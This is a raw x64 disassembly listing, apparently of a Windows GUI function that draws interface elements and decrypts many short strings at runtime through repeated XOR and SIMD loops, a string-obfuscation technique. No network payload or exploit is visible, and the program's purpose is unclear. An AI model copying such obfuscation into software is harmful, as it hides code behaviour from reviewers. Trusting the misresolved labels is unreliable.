mov byte [rbp + 0x1dc18], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x1dc19], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9b60]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9b58]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9b50]
xor r8d, r8d
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x1dc18]
call fcn.1400706b0
test al, al
je 0x1400f102e
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xf020
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SendMessageW]
mov dword [rbp + 0x198], 0x44318000
mov dword [rbp + 0x19c], 0x40a00000
lea rcx, [rbp + 0x198]
call fcn.140044e30
mov rcx, rbx
call fcn.140044c30
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327e70]
mov dword [rbp + 0x1a0], 0x42200000
mov dword [rbp + 0x1a4], 0x42200000
movzx eax, word [0x140324690]
mov word [rbp - 0x60], ax
cmp byte [0x140324691], 0
je 0x1400f1094
mov byte [rbp - 0x60], 0x78
xor byte [rbp - 0x5f], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9b78]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9b70]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9b68]
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp - 0x60]
call fcn.1400706b0
test al, al
jne 0x1400fe6e9
call fcn.140035d40
movaps xmm1, xmm15
subss xmm1, dword [0x14049f070]
mulss xmm1, xmm6
addss xmm1, dword [0x14049f070]
movss dword [0x14049f070], xmm1
xor ecx, ecx
call fcn.140041020
mov eax, dword [0x14049f064]
test eax, eax
jne 0x1400f2110
mov dword [rbp + 0x1a8], 0x443e0000
mov dword [rbp + 0x1ac], 0x43f00000
mov eax, dword [0x140324694]
mov dword [rbp + 0x7a], eax
movzx ecx, word [0x140324698]
mov word [rbp + 0x7e], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x7a], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x7b], 0x34
xor byte [rbp + 0x7c], 0x35
xor byte [rbp + 0x7d], 0x36
xor cl, 0x37
mov byte [rbp + 0x7e], cl
xor byte [rbp + 0x7f], 0x38
xor al, 0x39
mov byte [rbp + 0x80], al
mov r9d, Ordinal_26
xor r8d, r8d
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x7a]
call fcn.140032110
mov rcx, qword [0x1404b8be0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rbx, qword [rcx + 0x3ed0]
movss xmm7, dword [rbx + 0xfc]
addss xmm7, dword [0x1402d3c18]
movss xmm6, dword [rbx + 0xf8]
addss xmm6, dword [0x140327c78]
movaps xmm3, xmm8
movss xmm0, dword [0x1402d3d98]
movaps xmm2, xmm0
unpcklps xmm0, xmm8
movq rdx, xmm0
lea rcx, [rbp + 0x1b0]
call fcn.140032bd0
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x1b4]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1b0]
movss dword [rbp + 0x8a0], xmm6
movss dword [rbp + 0x8a4], xmm7
movss dword [rbp + 0x8a8], xmm0
movss dword [rbp + 0x8ac], xmm1
mov rbx, qword [rbx + 0x290]
mov qword [rbp + 0x1b8], 0
movaps xmm0, xmmword [0x140327e40]
movups xmmword [rbp + 0x8b0], xmm0
lea rcx, [rbp + 0x8b0]
call fcn.140034770
movss dword [rsp + 0x38], xmm11
mov dword [rsp + 0x30], 0
lea rcx, [rbp + 0x1b8]
mov qword [rsp + 0x28], rcx
movss xmm0, dword [0x1402d3c20]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x8a8]
lea rdx, [rbp + 0x8a0]
mov rcx, rbx
call fcn.14004f2d0
mov rcx, qword [rbp + 0xd0]
call fcn.140044c30
movaps xmm0, xmmword [0x1402dad60]
movups xmmword [rbp + 0x8c0], xmm0
lea rdx, [rbp + 0x8c0]
xor ecx, ecx
call fcn.140040ee0
mov eax, dword [0x14032469c]
mov dword [rbp - 0x27], eax
movzx eax, byte [0x1403246a0]
mov byte [rbp - 0x27], 0x56
xor byte [rbp - 0x26], 0x34
xor byte [rbp - 0x25], 0x35
xor byte [rbp - 0x24], 0x36
xor al, 0x37
mov byte [rbp - 0x23], al
movaps xmm1, xmm8
lea rcx, [rbp - 0x27]
call fcn.1400716a0
mov ecx, 1
call fcn.140040920
mov rcx, qword [rbp + 0xc8]
call fcn.140044c30
movsd xmm0, qword [0x1403246a8]
movsd qword [rbp + 0x7c9], xmm0
mov eax, dword [0x1403246b0]
mov dword [rbp + 0x7d1], eax
movzx eax, byte [0x1403246b4]
mov byte [rbp + 0x7d5], al
xor ebx, ebx
mov r8d, ebx
cmp r15d, 2
jl 0x1400f1440
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333R]
movd xmm0, dword [0x1403246a8]
xorps xmm2, xmm0
movd dword [rbp + 0x7c9], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333R]
movd xmm0, dword [rbp + 0x7cd]
xorps xmm2, xmm0
movd dword [rbp + 0x7cd], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7c9]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400f1450
movss xmm1, dword [0x1402d3c1c]
lea rcx, [rbp + 0x7c9]
call fcn.1400716a0
mov rcx, r13
call fcn.140044c30
mov dword [rbp + 0x1c0], 0x43778000
mov dword [rbp + 0x1c4], 0x43110000
lea rcx, [rbp + 0x1c0]
call fcn.140044e30
call fcn.1400324b0
mov dword [rbp + 0x1c8], 0x43820000
mov dword [rbp + 0x1cc], 0x42200000
movsd xmm0, qword [0x1403246c8]
movsd qword [rbp + 0x66a], xmm0
movzx eax, byte [0x1403246d0]
mov byte [rbp + 0x66a], 0x55
xor byte [rbp + 0x66b], 0x34
xor byte [rbp + 0x66c], 0x35
xor byte [rbp + 0x66d], 0x36
xor byte [rbp + 0x66e], 0x37
xor byte [rbp + 0x66f], 0x38
xor byte [rbp + 0x670], 0x39
xor byte [rbp + 0x671], 0x3a
xor al, 0x3b
mov byte [rbp + 0x672], al
movsd xmm0, qword [0x1403246b8]
movsd qword [rbp + 0x714], xmm0
movzx ecx, word [0x1403246c0]
mov word [rbp + 0x71c], cx
movzx eax, byte [0x1403246c2]
mov byte [rbp + 0x714], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x715], 0x34
xor byte [rbp + 0x716], 0x35
xor byte [rbp + 0x717], 0x36
xor byte [rbp + 0x718], 0x37
xor byte [rbp + 0x719], 0x38
xor byte [rbp + 0x71a], 0x39
xor byte [rbp + 0x71b], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x71c], cl
xor byte [rbp + 0x71d], 0x3c
xor al, 0x3d
mov byte [rbp + 0x71e], al
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [0x14049e860]
lea rdx, [rbp + 0x66a]
lea rcx, [rbp + 0x714]
call fcn.140067500
mov rcx, r13
call fcn.140044c30
mov dword [rbp + 0x1d0], 0x43820000
mov dword [rbp + 0x1d4], 0x42200000
movsd xmm0, qword [0x1403246e8]
movsd qword [rbp + 0x673], xmm0
movzx eax, byte [0x1403246f0]
mov byte [rbp + 0x673], 0x50
xor byte [rbp + 0x674], 0x34
xor byte [rbp + 0x675], 0x35
xor byte [rbp + 0x676], 0x36
xor byte [rbp + 0x677], 0x37
xor byte [rbp + 0x678], 0x38
xor byte [rbp + 0x679], 0x39
xor byte [rbp + 0x67a], 0x3a
xor al, 0x3b
mov byte [rbp + 0x67b], al
movsd xmm0, qword [0x1403246d8]
movsd qword [rbp + 0x71f], xmm0
movzx ecx, word [0x1403246e0]
mov word [rbp + 0x727], cx
movzx eax, byte [0x1403246e2]
mov byte [rbp + 0x71f], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x720], 0x34
xor byte [rbp + 0x721], 0x35
xor byte [rbp + 0x722], 0x36
xor byte [rbp + 0x723], 0x37
xor byte [rbp + 0x724], 0x38
xor byte [rbp + 0x725], 0x39
xor byte [rbp + 0x726], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x727], cl
xor byte [rbp + 0x728], 0x3c
xor al, 0x3d
mov byte [rbp + 0x729], al
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [0x14049e95f]
lea rdx, [rbp + 0x673]
lea rcx, [rbp + 0x71f]
call fcn.140067500
mov rcx, r14
call fcn.140044c30
movsd xmm0, qword [str.aQXSZZHeqX_]
movsd qword [rbp + 0x78d], xmm0
mov eax, dword [0x140324700]
mov dword [rbp + 0x795], eax
cmp byte [0x140324703], bl
je 0x1400f1890
mov r8d, ebx
cmp r15d, 2
jl 0x1400f1846
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aQXSZZHeqX_]
xorps xmm2, xmm0
movd dword [rbp + 0x78d], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x791]
xorps xmm2, xmm1
movd dword [rbp + 0x791], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x78d]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400f1860
lea rdx, [0x14049f05d]
lea rcx, [rbp + 0x78d]
call fcn.14006fb60
call fcn.140036530
mov dword [rbp + 0x1d8], 0x43778000
mov dword [rbp + 0x1dc], 0x43a00000
lea rcx, [rbp + 0x1d8]
call fcn.140044e30
mov rcx, rdi
call fcn.140044c30
movaps xmm6, xmmword [0x1402dae40]
movaps xmm7, xmmword [0x1402dad60]
movaps xmm8, xmmword [0x140327e80]
mov dword [rbp + 0x1e0], 0x43820000
mov dword [rbp + 0x1e4], 0x42200000
movsd xmm0, qword [0x140324708]
movsd qword [rbp + 0x799], xmm0
mov eax, dword [0x140324710]
mov dword [rbp + 0x7a1], eax
cmp byte [0x140324713], bl
je 0x1400f1a80
mov r8d, ebx
cmp r15d, 2
jl 0x1400f1a37
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324708]
xorps xmm2, xmm0
movd dword [rbp + 0x799], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x79d]
xorps xmm2, xmm1
movd dword [rbp + 0x79d], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x799]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400f1a50
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x70], xmm7
movdqa xmmword [rbp - 0x70], xmm8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f0d8]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f0d0]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f0c8]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f0c0]
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x799]
call fcn.140070150
test al, al
je 0x1400f20fc
call fcn.14008f620
lea rax, [rbp + 0x1300]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1300], xmm0
mov qword [rbp + 0x1310], rbx
mov qword [rbp + 0x1318], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049e95f]
inc r8
cmp byte [rax + r8], bl
jne 0x1400f1b36
mov rdx, rax
lea rcx, [rbp + 0x1300]
call fcn.1400658e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1320], xmm0
mov qword [rbp + 0x1330], rbx
mov qword [rbp + 0x1338], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049e860]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f1b75
mov rdx, rax
lea rcx, [rbp + 0x1320]
call fcn.1400658e0
nop
lea r8, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea rcx, [0x1404b8d30]
call fcn.140237730
cmp byte [0x1404b8f40], 0
jne 0x1400f1c02
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
lea r9, [0x1404b8f48]
cmp qword [0x1404b8f60], 0xf
cmova r9, qword [0x1404b8f48]
mov edx, 2
mov r8d, 0xbb8
lea rcx, [rbp + 0x2260]
call fcn.14008a180
lea rcx, [rbp + 0x2260]
call fcn.14008f3c0
call fcn.140040740
jmp 0x1400f20fc
xorps xmm0, xmm0
movups xmmword [rbp + 0x1340], xmm0
mov qword [rbp + 0x1350], rbx
mov qword [rbp + 0x1358], rbx
mov r8, 0xffffffffffffffff
lea rax, [0x14049e860]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f1c30
mov rdx, rax
lea rcx, [rbp + 0x1340]
call fcn.1400658e0
nop
movsd xmm0, qword [0x140324728]
movsd qword [rbp + 0x72a], xmm0
movzx ecx, word [0x140324730]
mov word [rbp + 0x732], cx
movzx eax, byte [0x140324732]
mov byte [rbp + 0x72a], Ordinal_35
xor byte [rbp + 0x72b], 0x34
xor byte [rbp + 0x72c], 0x35
xor byte [rbp + 0x72d], 0x36
xor byte [rbp + 0x72e], 0x37
xor byte [rbp + 0x72f], 0x38
xor byte [rbp + 0x730], 0x39
xor byte [rbp + 0x731], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x732], cl
xor byte [rbp + 0x733], 0x3c
xor al, 0x3d
mov byte [rbp + 0x734], al
movsd xmm0, qword [0x140324718]
movsd qword [rbp + 0x735], xmm0
movzx ecx, word [0x140324720]
mov word [rbp + 0x73d], cx
movzx eax, byte [0x140324722]
mov byte [rbp + 0x735], 0x7b
xor byte [rbp + 0x736], 0x34
xor byte [rbp + 0x737], 0x35
xor byte [rbp + 0x738], 0x36
xor byte [rbp + 0x739], 0x37
xor byte [rbp + 0x73a], 0x38
xor byte [rbp + 0x73b], 0x39
xor byte [rbp + 0x73c], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x73d], cl
xor byte [rbp + 0x73e], 0x3c
xor al, 0x3d
mov byte [rbp + 0x73f], al
lea r8, [rbp + 0x1340]
lea rdx, [rbp + 0x735]
lea rcx, [rbp + 0x1360]
call fcn.140072df0
nop
lea r8, [rbp + 0x72a]
mov rdx, rax
lea rcx, [rbp + 0x1380]
call fcn.140072d10
nop
lea r8, [0x1404b8e90]
mov rdx, rax
lea rcx, [rbp + 0x13a0]
call fcn.140072ca0
nop
mov r8d, 2
lea rdx, [0x14032545c]
mov rcx, rax
call fcn.140097690
xorps xmm0, xmm0
movups xmmword [rbp + 0x13c0], xmm0
mov qword [rbp + 0x13d0], rbx
mov qword [rbp + 0x13d8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x13c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x13d0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
or dword [rbp - 0x3c], 4
lea rcx, [rbp + 0x13a0]
call fcn.140065be0
nop
lea rcx, [rbp + 0x1380]
call fcn.140065be0
nop
lea rcx, [rbp + 0x1360]
call fcn.140065be0
lea rax, [rbp + 0x13e0]
mov qword [rbp - 0x70], rax
movups xmm0, xmmword [str.RDEZ_XNRSS]
movups xmmword [rbp + 0xc91], xmm0
movzx eax, byte [0x140324750]
mov byte [rbp + 0xca1], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f1f65
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xc95]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400f1e60
cmp r8d, 0x11
jge 0x1400f1fb0
movsxd rax, r8d
lea r9, [rbp + 0xc91]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400f1f80
xorps xmm0, xmm0
movups xmmword [rbp + 0x13e0], xmm0
mov qword [rbp + 0x13f0], rbx
mov qword [rbp + 0x13f8], rbx
lea rax, [rbp + 0xc91]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400f1fd6
lea rdx, [rbp + 0xc91]
lea rcx, [rbp + 0x13e0]
call fcn.1400658e0
nop
lea rax, [rbp + 0x1400]
mov qword [rbp - 0x48], rax
lea rdx, [rbp + 0x13c0]
lea rcx, [rbp + 0x1400]
call fcn.1400896b0
mov rbx, rax
lea rax, [rbp + 0x1420]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1420], xmm0
xor eax, eax
mov qword [rbp + 0x1430], rax
mov qword [rbp + 0x1438], rax
xor r8d, r8d
lea rdx, [0x1402ce994]
lea rcx, [rbp + 0x1420]
call fcn.1400658e0
nop
mov eax, dword [str.__R_Y8]
mov dword [rbp + 0x5c], eax
movzx eax, word [0x140324738]
mov word [rbp + 0x60], ax
mov byte [rbp + 0x5c], WSAGetLastError
xor byte [rbp + 0x5d], 0x34
xor byte [rbp + 0x5e], 0x35
xor byte [rbp + 0x5f], 0x36
xor al, 0x37
mov byte [rbp + 0x60], al
xor byte [rbp + 0x61], 0x38
lea rdx, [rbp + 0x5c]
lea rcx, [rbp + 0x1440]
call fcn.1400897d0
nop
lea rcx, [rbp + 0x13e0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1420]
mov r8, rax
lea rdx, [rbp + 0x1460]
lea rcx, [0x1404b8d30]
call fcn.1402642b0
lea rcx, [rbp + 0x1460]
call fcn.140065be0
call fcn.1400a1390
mov dword [0x14049f064], 2
mov dword [0x14049f070], 0
lea rcx, [rbp + 0x13c0]
call fcn.140065be0
nop
lea rcx, [rbp + 0x1340]
call fcn.140065be0
call fcn.140035d40
mov eax, dword [0x14049f064]
movss xmm8, dword [0x1402d3c08]
cmp eax, 1
jne 0x1400f379e
mov dword [rbp + 0x1e8], 0x443e0000
mov dword [rbp + 0x1ec], 0x43f00000
mov eax, dword [0x140324754]
mov dword [rbp + 0x81], eax
movzx ecx, word [0x140324758]
mov word [rbp + 0x85], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x81], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x82], 0x34
xor byte [rbp + 0x83], 0x35
xor byte [rbp + 0x84], 0x36
xor cl, 0x37
mov byte [rbp + 0x85], cl
xor byte [rbp + 0x86], 0x38
xor al, 0x39
mov byte [rbp + 0x87], al
mov r9d, Ordinal_26
xor r8d, r8d
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x81]
call fcn.140032110
mov rcx, qword [0x1404b8be0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rbx, qword [rcx + 0x3ed0]
movss xmm7, dword [rbx + 0xfc]
addss xmm7, dword [0x1402d3c18]
movss xmm6, dword [rbx + 0xf8]
addss xmm6, dword [0x140327c78]
movaps xmm3, xmm8
movss xmm0, dword [0x1402d3d98]
movaps xmm2, xmm0
unpcklps xmm0, xmm8
movq rdx, xmm0
lea rcx, [rbp + 0x1f0]
call fcn.140032bd0
movss xmm1, dword [rbp + 0x1f4]
addss xmm1, xmm7
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x1f0]
movss dword [rbp + 0x8d0], xmm6
movss dword [rbp + 0x8d4], xmm7
movss dword [rbp + 0x8d8], xmm0
movss dword [rbp + 0x8dc], xmm1
mov rbx, qword [rbx + 0x290]
mov qword [rbp + 0x1f8], 0
movaps xmm0, xmmword [0x140327e40]
movups xmmword [rbp + 0x8e0], xmm0
lea rcx, [rbp + 0x8e0]
call fcn.140034770
movss dword [rsp + 0x38], xmm11
mov dword [rsp + 0x30], 0
lea rcx, [rbp + 0x1f8]
mov qword [rsp + 0x28], rcx
movss xmm0, dword [0x1402d3c20]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x8d8]
lea rdx, [rbp + 0x8d0]
mov rcx, rbx
call fcn.14004f2d0
mov rcx, qword [rbp + 0xd0]
call fcn.140044c30
movaps xmm0, xmmword [0x1402dad60]
movups xmmword [rbp + 0x8f0], xmm0
lea rdx, [rbp + 0x8f0]
xor ecx, ecx
call fcn.140040ee0
mov eax, dword [str.eytn7]
mov dword [rbp - 0x22], eax
movzx eax, byte [0x140324760]
mov byte [rbp - 0x22], 0x56
xor byte [rbp - 0x21], 0x34
xor byte [rbp - 0x20], 0x35
xor byte [rbp - 0x1f], 0x36
xor al, 0x37
mov byte [rbp - 0x1e], al
movaps xmm1, xmm8
lea rcx, [rbp - 0x22]
call fcn.1400716a0
mov ecx, 1
call fcn.140040920
mov rcx, qword [rbp + 0xc8]
call fcn.140044c30
movups xmm0, xmmword [str.zYEWTL]
movups xmmword [rbp + 0x900], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
xor ebx, ebx
test al, al
je 0x1400f24b0
cmp r15d, 2
jl 0x1400f2471
movdqa xmm5, xmmword [0x1402d9220]
mov edx, ebx
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x904]
mov r8d, dword [rsp + 0x70]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
